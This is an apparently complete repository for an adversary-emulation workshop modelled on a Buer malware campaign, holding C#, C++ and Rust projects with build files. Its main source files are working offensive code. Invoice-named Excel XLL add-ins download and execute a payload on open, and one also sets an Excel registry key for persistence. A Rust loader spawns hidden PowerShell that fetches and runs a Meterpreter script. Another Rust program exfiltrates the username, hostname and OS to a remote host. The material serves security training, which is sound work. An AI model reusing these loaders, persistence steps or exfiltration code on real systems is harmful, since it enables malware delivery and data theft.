├── SANS-Emulation-Workshop.pdf ├── DetailedInvoiceXllV1 ├── packages.config ├── App.config ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── DetailedInvoiceV1.sln └── DetailedInvoiceV1.csproj ├── HelloFromXll ├── framework.h ├── pch.cpp ├── pch.h ├── dllmain.cpp ├── HelloFromXll.vcxproj.filters ├── HelloFromXll.sln └── HelloFromXll.vcxproj ├── README.md ├── DetailedInvoiceXllv2 ├── App.config ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── DetailedInvoiceXll.sln └── DetailedInvoiceXll.csproj ├── rusty-key ├── Cargo.toml ├── src │ └── main.rs └── Cargo.lock ├── whoami-rust └── whoami │ ├── Cargo.toml │ ├── src │ └── main.rs │ └── Cargo.lock └── .gitignore /SANS-Emulation-Workshop.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Emulation-Workshop/HEAD/SANS-Emulation-Workshop.pdf -------------------------------------------------------------------------------- /DetailedInvoiceXllV1/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /HelloFromXll/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Emulation-Workshop 2 | The repository accompanying the Buer Emulation workshop 3 | link to the gitbook: https://jfmaes-1.gitbook.io/emulate-like-a-champ-emulating-the-latest-buer-cam/ 4 | -------------------------------------------------------------------------------- /HelloFromXll/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /DetailedInvoiceXllV1/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /DetailedInvoiceXllv2/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /rusty-key/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rusty-key" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | whoami = { git = "https://github.com/libcala/whoami" } 10 | msgbox = "0.6.1" -------------------------------------------------------------------------------- /whoami-rust/whoami/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "whoami-rust" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | whoami = { git = "https://github.com/libcala/whoami" } 10 | minreq = { version = "2.4.2"} 11 | base64 = {version="0.13.0"} -------------------------------------------------------------------------------- /HelloFromXll/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /DetailedInvoiceXllV1/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Diagnostics; 4 | namespace DetailedInvoice 5 | { 6 | class Program 7 | { 8 | [DllExport] 9 | static void xlAutoOpen() 10 | { 11 | string droplocation = Environment.GetEnvironmentVariable("Public") + "/srtherhaeth.eXe"; 12 | WebClient client = new WebClient(); 13 | client.DownloadFile("http://10.0.2.15/csrsc.exe", droplocation); 14 | Process.Start(droplocation); 15 | 16 | } 17 | static void Main(string[] args) 18 | { 19 | 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /whoami-rust/whoami/src/main.rs: -------------------------------------------------------------------------------- 1 | use whoami; 2 | use minreq; 3 | use base64; 4 | 5 | fn exfil(url:&str,data:&str) 6 | { 7 | let concatenated = [url, data].join("/"); 8 | let response = minreq::get(concatenated).send(); 9 | 10 | } 11 | 12 | fn main() { 13 | let userName =base64::encode(["UserName", &whoami::username()].join(":")); 14 | let deviceName =base64::encode(["DeviceHostname", &whoami::hostname()].join(":")); 15 | let hostDistro=base64::encode(["Distro",&whoami::distro()].join(":")); 16 | let exfilData = format!("{}{}{}",userName,deviceName,hostDistro); 17 | exfil("http://192.168.0.222/",&exfilData); 18 | } 19 | 20 | -------------------------------------------------------------------------------- /rusty-key/src/main.rs: -------------------------------------------------------------------------------- 1 | use whoami; 2 | use msgbox; 3 | use std::process::*; 4 | 5 | fn keyedByUserName(){ 6 | let userName = whoami::username(); 7 | if userName == "jarvis" 8 | { 9 | //println!("Username checks out!"); 10 | Command::new("powershell").arg("-NoExit ").args(&["-WindowStyle","Hidden"]).args(&["iex(iwr","-useb","http://192.168.0.131:8000/meterpreter.ps1)"]).spawn().expect("failed to execute process"); 11 | } 12 | else 13 | { 14 | msgbox::create("Error", "username does not match keyed value",msgbox::IconType::Info).expect("error"); 15 | } 16 | } 17 | 18 | fn main() { 19 | keyedByUserName(); 20 | } 21 | -------------------------------------------------------------------------------- /HelloFromXll/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | #include 4 | #define DllExport __declspec( dllexport ) 5 | 6 | extern "C" void DllExport xlAutoOpen() 7 | { 8 | MessageBoxA(NULL, "hi from xll!", "pwned",MB_OK); 9 | } 10 | 11 | 12 | BOOL APIENTRY DllMain( HMODULE hModule, 13 | DWORD ul_reason_for_call, 14 | LPVOID lpReserved 15 | ) 16 | { 17 | switch (ul_reason_for_call) 18 | { 19 | case DLL_PROCESS_ATTACH: 20 | case DLL_THREAD_ATTACH: 21 | case DLL_THREAD_DETACH: 22 | case DLL_PROCESS_DETACH: 23 | break; 24 | } 25 | return TRUE; 26 | } 27 | 28 | -------------------------------------------------------------------------------- /DetailedInvoiceXllv2/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using Microsoft.Win32; 4 | 5 | namespace DetailedInvoiceXll 6 | { 7 | class Program 8 | { 9 | [DllExport] 10 | static void xlAutoOpen() 11 | { 12 | 13 | string droplocation = Environment.GetEnvironmentVariable("appdata") + @"\Microsoft\AddIns\HelloFromXll.xll"; 14 | WebClient client = new WebClient(); 15 | client.DownloadFile("http://192.168.0.166/HelloFromXll.xll", droplocation); 16 | RegistryKey registryKey64 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey(@"SOFTWARE\Microsoft\Office\16.0\Excel\Options", true); 17 | registryKey64.SetValue("OPEN", "/R HelloFromXll.xll"); 18 | 19 | } 20 | static void Main(string[] args) 21 | { 22 | 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /HelloFromXll/HelloFromXll.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /HelloFromXll/HelloFromXll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31321.278 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HelloFromXll", "HelloFromXll.vcxproj", "{28F3E363-9810-4C60-AAE9-E75306C9B781}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Debug|x64.ActiveCfg = Debug|x64 17 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Debug|x64.Build.0 = Debug|x64 18 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Debug|x86.ActiveCfg = Debug|Win32 19 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Debug|x86.Build.0 = Debug|Win32 20 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Release|x64.ActiveCfg = Release|x64 21 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Release|x64.Build.0 = Release|x64 22 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Release|x86.ActiveCfg = Release|Win32 23 | {28F3E363-9810-4C60-AAE9-E75306C9B781}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {2D2DB405-3D32-4F86-A8D8-43499E47A522} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DetailedInvoiceXllV1/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DetailedInvoiceV1")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DetailedInvoiceV1")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("ac694d29-4bd0-4192-981a-3a2f0d10d727")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DetailedInvoiceXllv2/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DetailedInvoiceXll")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DetailedInvoiceXll")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("177c057b-2002-43db-b8c8-c628d7d28e53")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DetailedInvoiceXllV1/DetailedInvoiceV1.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31321.278 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DetailedInvoiceV1", "DetailedInvoiceV1.csproj", "{AC694D29-4BD0-4192-981A-3A2F0D10D727}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Debug|x86.ActiveCfg = Debug|x86 19 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Debug|x86.Build.0 = Debug|x86 20 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Release|x86.ActiveCfg = Release|x86 23 | {AC694D29-4BD0-4192-981A-3A2F0D10D727}.Release|x86.Build.0 = Release|x86 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8FA13578-9117-49F3-9706-C11FE697EB13} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DetailedInvoiceXllv2/DetailedInvoiceXll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31321.278 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DetailedInvoiceXll", "DetailedInvoiceXll.csproj", "{177C057B-2002-43DB-B8C8-C628D7D28E53}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x86 = Debug|x86 12 | Release|Any CPU = Release|Any CPU 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Debug|x86.ActiveCfg = Release|x86 19 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Debug|x86.Build.0 = Release|x86 20 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Release|x86.ActiveCfg = Release|x86 23 | {177C057B-2002-43DB-B8C8-C628D7D28E53}.Release|x86.Build.0 = Release|x86 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4A3F933B-30F0-4706-99A5-BF6639FCF050} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /whoami-rust/whoami/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "base64" 7 | version = "0.13.0" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 10 | 11 | [[package]] 12 | name = "bumpalo" 13 | version = "3.7.0" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "9c59e7af012c713f529e7a3ee57ce9b31ddd858d4b512923602f74608b009631" 16 | 17 | [[package]] 18 | name = "cfg-if" 19 | version = "1.0.0" 20 | source = "registry+https://github.com/rust-lang/crates.io-index" 21 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 22 | 23 | [[package]] 24 | name = "js-sys" 25 | version = "0.3.52" 26 | source = "registry+https://github.com/rust-lang/crates.io-index" 27 | checksum = "ce791b7ca6638aae45be056e068fc756d871eb3b3b10b8efa62d1c9cec616752" 28 | dependencies = [ 29 | "wasm-bindgen", 30 | ] 31 | 32 | [[package]] 33 | name = "lazy_static" 34 | version = "1.4.0" 35 | source = "registry+https://github.com/rust-lang/crates.io-index" 36 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 37 | 38 | [[package]] 39 | name = "log" 40 | version = "0.4.14" 41 | source = "registry+https://github.com/rust-lang/crates.io-index" 42 | checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" 43 | dependencies = [ 44 | "cfg-if", 45 | ] 46 | 47 | [[package]] 48 | name = "minreq" 49 | version = "2.4.2" 50 | source = "registry+https://github.com/rust-lang/crates.io-index" 51 | checksum = "d5f7db7a675c4b46b8842105b9371d6151e95fbbecd9b0e54dc2ea814397d2cc" 52 | dependencies = [ 53 | "log", 54 | ] 55 | 56 | [[package]] 57 | name = "proc-macro2" 58 | version = "1.0.28" 59 | source = "registry+https://github.com/rust-lang/crates.io-index" 60 | checksum = "5c7ed8b8c7b886ea3ed7dde405212185f423ab44682667c8c6dd14aa1d9f6612" 61 | dependencies = [ 62 | "unicode-xid", 63 | ] 64 | 65 | [[package]] 66 | name = "quote" 67 | version = "1.0.9" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7" 70 | dependencies = [ 71 | "proc-macro2", 72 | ] 73 | 74 | [[package]] 75 | name = "syn" 76 | version = "1.0.74" 77 | source = "registry+https://github.com/rust-lang/crates.io-index" 78 | checksum = "1873d832550d4588c3dbc20f01361ab00bfe741048f71e3fecf145a7cc18b29c" 79 | dependencies = [ 80 | "proc-macro2", 81 | "quote", 82 | "unicode-xid", 83 | ] 84 | 85 | [[package]] 86 | name = "unicode-xid" 87 | version = "0.2.2" 88 | source = "registry+https://github.com/rust-lang/crates.io-index" 89 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" 90 | 91 | [[package]] 92 | name = "wasm-bindgen" 93 | version = "0.2.75" 94 | source = "registry+https://github.com/rust-lang/crates.io-index" 95 | checksum = "b608ecc8f4198fe8680e2ed18eccab5f0cd4caaf3d83516fa5fb2e927fda2586" 96 | dependencies = [ 97 | "cfg-if", 98 | "wasm-bindgen-macro", 99 | ] 100 | 101 | [[package]] 102 | name = "wasm-bindgen-backend" 103 | version = "0.2.75" 104 | source = "registry+https://github.com/rust-lang/crates.io-index" 105 | checksum = "580aa3a91a63d23aac5b6b267e2d13cb4f363e31dce6c352fca4752ae12e479f" 106 | dependencies = [ 107 | "bumpalo", 108 | "lazy_static", 109 | "log", 110 | "proc-macro2", 111 | "quote", 112 | "syn", 113 | "wasm-bindgen-shared", 114 | ] 115 | 116 | [[package]] 117 | name = "wasm-bindgen-macro" 118 | version = "0.2.75" 119 | source = "registry+https://github.com/rust-lang/crates.io-index" 120 | checksum = "171ebf0ed9e1458810dfcb31f2e766ad6b3a89dbda42d8901f2b268277e5f09c" 121 | dependencies = [ 122 | "quote", 123 | "wasm-bindgen-macro-support", 124 | ] 125 | 126 | [[package]] 127 | name = "wasm-bindgen-macro-support" 128 | version = "0.2.75" 129 | source = "registry+https://github.com/rust-lang/crates.io-index" 130 | checksum = "6c2657dd393f03aa2a659c25c6ae18a13a4048cebd220e147933ea837efc589f" 131 | dependencies = [ 132 | "proc-macro2", 133 | "quote", 134 | "syn", 135 | "wasm-bindgen-backend", 136 | "wasm-bindgen-shared", 137 | ] 138 | 139 | [[package]] 140 | name = "wasm-bindgen-shared" 141 | version = "0.2.75" 142 | source = "registry+https://github.com/rust-lang/crates.io-index" 143 | checksum = "2e0c4a743a309662d45f4ede961d7afa4ba4131a59a639f29b0069c3798bbcc2" 144 | 145 | [[package]] 146 | name = "web-sys" 147 | version = "0.3.52" 148 | source = "registry+https://github.com/rust-lang/crates.io-index" 149 | checksum = "01c70a82d842c9979078c772d4a1344685045f1a5628f677c2b2eab4dd7d2696" 150 | dependencies = [ 151 | "js-sys", 152 | "wasm-bindgen", 153 | ] 154 | 155 | [[package]] 156 | name = "whoami" 157 | version = "1.1.2" 158 | source = "git+https://github.com/libcala/whoami#ffd1d773b520a61a33b613620ca43b8b4ec2e879" 159 | dependencies = [ 160 | "wasm-bindgen", 161 | "web-sys", 162 | ] 163 | 164 | [[package]] 165 | name = "whoami-rust" 166 | version = "0.1.0" 167 | dependencies = [ 168 | "base64", 169 | "minreq", 170 | "whoami", 171 | ] 172 | -------------------------------------------------------------------------------- /DetailedInvoiceXllV1/DetailedInvoiceV1.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {AC694D29-4BD0-4192-981A-3A2F0D10D727} 8 | Library 9 | DetailedInvoiceV1 10 | DetailedInvoiceV1 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | true 36 | bin\x86\Debug\ 37 | DEBUG;TRACE 38 | full 39 | x86 40 | 7.3 41 | prompt 42 | true 43 | 44 | 45 | bin\x86\Release\ 46 | TRACE 47 | true 48 | pdbonly 49 | x86 50 | 7.3 51 | prompt 52 | true 53 | 54 | 55 | 56 | 57 | 58 | BFC2A57A-FFE5-4DDE-BA6C-C02BEEDBA08E 59 | DllExport.dll 60 | DetailedInvoice 61 | true 62 | x86 63 | 1 64 | false 65 | true 66 | false 67 | false 68 | 30000 69 | 2 70 | 0 71 | 0 72 | 0 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | $(SolutionDir)..\..\..\packages\DllExport.1.7.4\gcache\$(DllExportMetaXBase)\$(DllExportNamespace)\$(DllExportMetaLibName) 105 | False 106 | False 107 | 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /DetailedInvoiceXllv2/DetailedInvoiceXll.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {177C057B-2002-43DB-B8C8-C628D7D28E53} 8 | Library 9 | DetailedInvoiceXll 10 | DetailedInvoiceXll 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | true 36 | bin\x86\Debug\ 37 | DEBUG;TRACE 38 | full 39 | x86 40 | 7.3 41 | prompt 42 | true 43 | 44 | 45 | bin\x86\Release\ 46 | TRACE 47 | true 48 | pdbonly 49 | x86 50 | 7.3 51 | prompt 52 | true 53 | 54 | 55 | 56 | 57 | 58 | 14C9EB6F-7444-4CC0-82F0-0649E6F19019 59 | DllExport.dll 60 | DetailedInvoiceXll 61 | true 62 | x86 63 | 1 64 | false 65 | true 66 | false 67 | false 68 | 30000 69 | 2 70 | 0 71 | 0 72 | 0 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 1.7.4 94 | false 95 | 1 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | $(SolutionDir)packages\DllExport.1.7.4\gcache\$(DllExportMetaXBase)\$(DllExportNamespace)\$(DllExportMetaLibName) 111 | False 112 | False 113 | 114 | 115 | 116 | 117 | 118 | 119 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # 